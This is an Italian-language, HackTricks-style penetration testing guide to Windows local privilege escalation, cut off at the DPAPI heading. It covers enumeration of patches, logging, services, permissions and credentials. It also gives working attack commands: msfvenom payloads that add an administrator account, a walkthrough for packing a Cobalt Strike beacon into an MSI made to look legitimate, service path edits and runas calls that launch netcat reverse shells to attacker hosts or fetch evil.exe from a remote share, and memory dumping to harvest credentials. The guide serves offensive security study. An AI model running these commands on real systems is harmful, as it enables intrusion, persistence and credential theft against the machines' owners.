80 KiB
Windows Local Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
Miglior strumento per cercare i vettori di Windows local privilege escalation: WinPEAS
Teoria iniziale di Windows
Access Tokens
Se non sai cosa sono gli Access Tokens di Windows, leggi la pagina seguente prima di continuare:
{{#ref}} access-tokens.md {{#endref}}
ACLs - DACLs/SACLs/ACEs
Consulta la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:
{{#ref}} acls-dacls-sacls-aces.md {{#endref}}
Integrity Levels
Se non sai cosa sono gli integrity levels in Windows, dovresti leggere la pagina seguente prima di continuare:
{{#ref}} integrity-levels.md {{#endref}}
Controlli di sicurezza di Windows
Ci sono diverse cose in Windows che potrebbero impedirti di enumerare il sistema, eseguire eseguibili o persino rilevare le tue attività. Dovresti leggere la seguente pagina e enumerare tutti questi meccanismi di difesa prima di iniziare l'enumerazione per la privilege escalation:
{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}
Informazioni sul sistema
Enumerazione delle informazioni sulla versione
Controlla se la versione di Windows ha vulnerabilità note (verifica anche le patch applicate).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Exploit di versione
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massiva superficie d'attacco that a Windows environment presents.
Sul sistema
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas ha watson integrato)
Localmente con informazioni sul sistema
Repository GitHub di exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Ambiente
Ci sono credenziali/Juicy info salvate nelle env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
Cronologia di PowerShell
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
File di trascrizione di PowerShell
Puoi imparare come attivarlo su https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Vengono registrati i dettagli delle esecuzioni della pipeline di PowerShell, includendo i comandi eseguiti, le invocazioni di comandi e porzioni di script. Tuttavia, i dettagli completi dell'esecuzione e i risultati di output potrebbero non essere catturati.
Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, optando per "Module Logging" invece di "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Viene acquisito un registro completo delle attività e dei contenuti dell'esecuzione dello script, assicurando che ogni blocco di codice sia documentato durante la sua esecuzione. Questo processo conserva una traccia di audit completa di ogni attività, preziosa per le indagini forensi e per l'analisi del comportamento malevolo. Documentando tutte le attività al momento dell'esecuzione, si ottengono approfondimenti dettagliati sul processo.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Gli eventi per lo Script Block possono essere trovati nel Visualizzatore eventi di Windows al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Impostazioni Internet
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Unità
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando httpS ma http.
Per cominciare, verifica se la rete utilizza un aggiornamento WSUS non-SSL eseguendo il seguente comando in cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Oppure il seguente in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Se ricevi una risposta come una di queste:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"
è pari a 1
.
Allora, è sfruttabile. Se l'ultima chiave di registro è pari a 0, la voce WSUS verrà ignorata.
Per sfruttare questa vulnerabilità puoi usare strumenti come: Wsuxploit, pyWSUS - sono script exploit weaponizzati MiTM per iniettare aggiornamenti 'falsi' nel traffico WSUS non-SSL.
Read the research here:
{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}
WSUS CVE-2020-1013
Read the complete report here.
Fondamentalmente, questo è il difetto che questo bug sfrutta:
Se abbiamo la possibilità di modificare il proxy del nostro utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo la possibilità di eseguire PyWSUS localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset.
Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato self-signed per il WSUS hostname e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico HTTP che HTTPS di WSUS. WSUS non usa meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è trusted dall'utente e ha il corretto hostname, verrà accettato dal servizio.
Puoi sfruttare questa vulnerabilità usando lo strumento WSUSpicious (una volta che sarà liberato).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Molti agent enterprise espongono una superficie IPC su localhost e un canale di aggiornamento privilegiato. Se l'enrollment può essere forzato verso un server controllato dall'attaccante e l'updater si fida di una rogue root CA o di controlli di firma deboli, un utente locale può consegnare un MSI malevolo che il servizio SYSTEM installerà. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui:
{{#ref}} abusing-auto-updaters-and-ipc.md {{#endref}}
KrbRelayUp
Una vulnerabilità di local privilege escalation esiste in ambienti Windows domain in condizioni specifiche. Queste condizioni includono ambienti dove LDAP signing non è forzato, gli utenti possiedono i diritti per configurare la Resource-Based Constrained Delegation (RBCD), e la possibilità per gli utenti di creare computer all'interno del dominio. È importante notare che questi requisiti sono soddisfatti usando le impostazioni di default.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Se queste 2 chiavi di registro sono abilitate (valore è 0x1), allora utenti di qualsiasi privilegio possono installare (eseguire) *.msi
come NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated
PowerUP
Usa il comando Write-UserAddMSI
di power-up per creare nella directory corrente un binario Windows MSI per elevare i privilegi. Questo script genera un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GUI):
Write-UserAddMSI
Esegui il binario creato per elevare i privilegi.
MSI Wrapper
Leggi questo tutorial per imparare come creare un MSI Wrapper usando questi strumenti. Nota che puoi incapsulare un file ".bat" se vuoi solo eseguire delle linee di comando
{{#ref}} msi-wrapper.md {{#endref}}
Creare un MSI con WIX
{{#ref}} create-msi-with-wix.md {{#endref}}
Creare un MSI con Visual Studio
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe
- Open Visual Studio, select Create a new project and type "installer" into the search box. Select the Setup Wizard project and click Next.
- Give the project a name, like AlwaysPrivesc, use
C:\privesc
for the location, select place solution and project in the same directory, and click Create. - Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
- Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
- There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
- Right-click the project and select View > Custom Actions.
- Right-click Install and select Add Custom Action.
- Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
- Under the Custom Action Properties, change Run64Bit to True.
- Finally, build it.
- If the warning
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
is shown, make sure you set the platform to x64.
Installazione MSI
Per eseguire l'installazione del file .msi
maligno in background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated
Antivirus e rilevatori
Impostazioni di Audit
Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, è interessante sapere dove vengono inviati i log
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS è progettato per la gestione delle password locali dell'Administrator, garantendo che ogni password sia unica, randomizzata e aggiornata regolarmente sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessibili solo agli utenti a cui sono stati concessi permessi sufficienti tramite ACLs, permettendo loro di visualizzare le password dell'admin locale se autorizzati.
{{#ref}} ../active-directory-methodology/laps.md {{#endref}}
WDigest
Se attivo, le password in chiaro sono memorizzate in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per bloccare i tentativi da parte di processi non affidabili di leggere la sua memoria o iniettare codice, aumentando la sicurezza del sistema.
Maggiori informazioni su LSA Protection qui.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard è stato introdotto in Windows 10. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come pass-the-hash attacks.| Maggiori informazioni su Credentials Guard qui.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials sono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un pacchetto di sicurezza registrato, le domain credentials per l'utente vengono tipicamente create.
More info about Cached Credentials here
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Utenti & Gruppi
Enumerare Utenti & Gruppi
Dovresti verificare se uno dei gruppi a cui appartieni possiede permessi interessanti.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Gruppi privilegiati
Se appartieni a un gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri i gruppi privilegiati e come abusarne qui:
{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}
Manipolazione dei token
Scopri cos'è un token in questa pagina: Windows Tokens.
Consulta la pagina seguente per scoprire i token interessanti e come abusarne:
{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}
Utenti connessi / Sessioni
qwinsta
klist sessions
Cartelle home
dir C:\Users
Get-ChildItem C:\Users
Politica delle password
net accounts
Ottieni il contenuto degli appunti
powershell -command "Get-Clipboard"
Processi in esecuzione
Permessi di file e cartelle
Innanzitutto, quando elenchi i processi, controlla se ci sono password nella linea di comando del processo.
Verifica se puoi sovrascrivere qualche binario in esecuzione o se hai permessi di scrittura nella cartella dei binari per sfruttare eventuali DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Verifica sempre la possibile presenza di electron/cef/chromium debuggers in esecuzione, potresti abusarne per escalare i privilegi.
Controllo dei permessi dei binari dei processi
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Verifica dei permessi delle cartelle che contengono i binari dei processi (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Estrazione di Password dalla memoria
Puoi creare un dump della memoria di un processo in esecuzione usando procdump di sysinternals. Servizi come FTP hanno le credentials in clear text nella memoria; prova a eseguire il dump della memoria e a leggere le credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Applicazioni GUI insicure
Le applicazioni in esecuzione come SYSTEM possono consentire a un utente di aprire un CMD o di esplorare directory.
Esempio: "Windows Help and Support" (Windows + F1), cerca "prompt dei comandi", clicca su "Clicca per aprire il Prompt dei comandi"
Servizi
Ottieni la lista dei servizi:
net start
wmic service list brief
sc query
Get-Service
Permessi
Puoi usare sc per ottenere informazioni su un servizio
sc qc <service_name>
Si raccomanda di avere il binario accesschk da Sysinternals per verificare il livello di privilegi richiesto per ciascun servizio.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Si consiglia di verificare se "Authenticated Users" possono modificare qualunque servizio:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Abilitare il servizio
Se compare questo errore (ad esempio con SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Puoi abilitarlo usando
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)
Un'altra soluzione a questo problema è eseguire:
sc.exe config usosvc start= auto
Modificare il percorso del binario del servizio
Nel caso in cui il gruppo "Authenticated users" possieda SERVICE_ALL_ACCESS su un servizio, è possibile modificare il binario eseguibile del servizio. Per modificare ed eseguire sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Riavvia il servizio
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
I privilegi possono essere elevati tramite varie autorizzazioni:
- SERVICE_CHANGE_CONFIG: Consente la riconfigurazione del binario del servizio.
- WRITE_DAC: Consente la riconfigurazione delle autorizzazioni, portando alla possibilità di modificare le configurazioni del servizio.
- WRITE_OWNER: Permette l'acquisizione della proprietà e la riconfigurazione delle autorizzazioni.
- GENERIC_WRITE: Eredita la possibilità di modificare le configurazioni del servizio.
- GENERIC_ALL: Eredita anch'esso la possibilità di modificare le configurazioni del servizio.
Per la rilevazione e lo sfruttamento di questa vulnerabilità può essere utilizzato exploit/windows/local/service_permissions.
Permessi deboli dei binari dei servizi
Verifica se puoi modificare il binario eseguito da un servizio o se hai permessi di scrittura sulla cartella in cui si trova il binario (DLL Hijacking).
Puoi ottenere ogni binario eseguito da un servizio usando wmic (not in system32) e verificare i tuoi permessi usando icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Puoi anche usare sc e icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Permessi di modifica del registro dei servizi
Dovresti verificare se puoi modificare qualsiasi registro dei servizi.
Puoi controllare i tuoi permessi su un registro dei servizi eseguendo:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Si dovrebbe verificare se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl
. In tal caso, il binario eseguito dal servizio può essere alterato.
Per cambiare il Path del binario eseguito:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory permissions
Se hai questo permesso su un registro significa che puoi creare sotto-registri a partire da questo. Nel caso dei Windows services questo è sufficiente per eseguire codice arbitrario:
{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}
Unquoted Service Paths
Se il percorso verso un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni porzione che precede uno spazio.
Per esempio, per il percorso C:\Program Files\Some Folder\Service.exe Windows tenterà di eseguire:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi integrati di Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Puoi rilevare e sfruttare questa vulnerabilità con metasploit: exploit/windows/local/trusted\_service\_path
Puoi creare manualmente un service binary con metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Azioni di ripristino
Windows consente agli utenti di specificare azioni da intraprendere se un servizio si arresta. Questa funzionalità può essere configurata per puntare a un eseguibile. Se questo eseguibile è sostituibile, potrebbe essere possibile una escalation dei privilegi. Maggiori dettagli si trovano nella official documentation.
Applicazioni
Applicazioni installate
Verifica i permessi degli eseguibili (potresti riuscire a sovrascriverne uno e ottenere una escalation dei privilegi) e delle cartelle (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Permessi di scrittura
Verifica se puoi modificare qualche file di configurazione per leggere un file speciale o se puoi modificare qualche binario che verrà eseguito da un account Administrator (schedtasks).
Un modo per trovare permessi deboli su cartelle/file nel sistema è:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Esecuzione all'avvio
Verifica se puoi sovrascrivere qualche registry o binary che verrà eseguito da un diverso user.
Leggi la pagina seguente per saperne di più su interessanti autoruns locations to escalate privileges:
{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}
Driver
Cerca possibili third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
Se un driver espone un arbitrary kernel read/write primitive (comune in IOCTL handlers progettati male), puoi ottenere l'elevazione dei privilegi rubando un SYSTEM token direttamente dalla memoria del kernel. Vedi la tecnica passo‑passo qui:
{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}
PATH DLL Hijacking
Se hai write permissions inside a folder present on PATH potresti essere in grado di hijack una DLL caricata da un processo e escalate privileges.
Controlla i permessi di tutte le cartelle presenti in PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Per ulteriori informazioni su come abusare di questo controllo:
{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}
Rete
Condivisioni
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Controlla la presenza di altri computer noti hardcoded nel hosts file
type C:\Windows\System32\drivers\etc\hosts
Interfacce di rete & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Porte aperte
Verifica la presenza di servizi ristretti dall'esterno
netstat -ano #Opened ports?
Tabella di routing
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Tabella ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Regole del Firewall
Consulta questa pagina per i comandi relativi al Firewall (elencare le regole, creare regole, disattivare, disattivare...)
Altri comandi per l'enumerazione della rete qui
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Il binario bash.exe
può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Se ottieni l'accesso come root puoi ascoltare su qualsiasi porta (la prima volta che usi nc.exe
per ascoltare su una porta ti chiederà tramite GUI se nc
dovrebbe essere consentito dal firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Per avviare facilmente bash come root, puoi provare --default-user root
Puoi esplorare il filesystem WSL
nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Credenziali di Windows
Credenziali Winlogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Gestore credenziali / Windows Vault
Da https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault memorizza le credenziali utente per server, siti web e altri programmi con cui Windows può effettuare automaticamente il login degli utenti. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così.
Windows Vault memorizza credenziali che Windows può usare per effettuare automaticamente il login degli utenti, il che significa che qualsiasi applicazione Windows che necessita di credenziali per accedere a una risorsa (server o sito web) può utilizzare questo Credential Manager & Windows Vault e impiegare le credenziali fornite invece che gli utenti inseriscano username and password ogni volta.
A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per esse usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole utilizzare il vault, dovrebbe in qualche modo comunicare con il credential manager e richiedere le credenziali per quella risorsa dal vault di storage predefinito.
Usa il cmdkey
per elencare le credenziali memorizzate sulla macchina.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Poi puoi usare runas
con l'opzione /savecred
per utilizzare le credenziali salvate. L'esempio seguente chiama un binario remoto tramite una condivisione SMB.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Usare runas
con un set di credenziali fornito.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o Empire Powershells module.
DPAPI
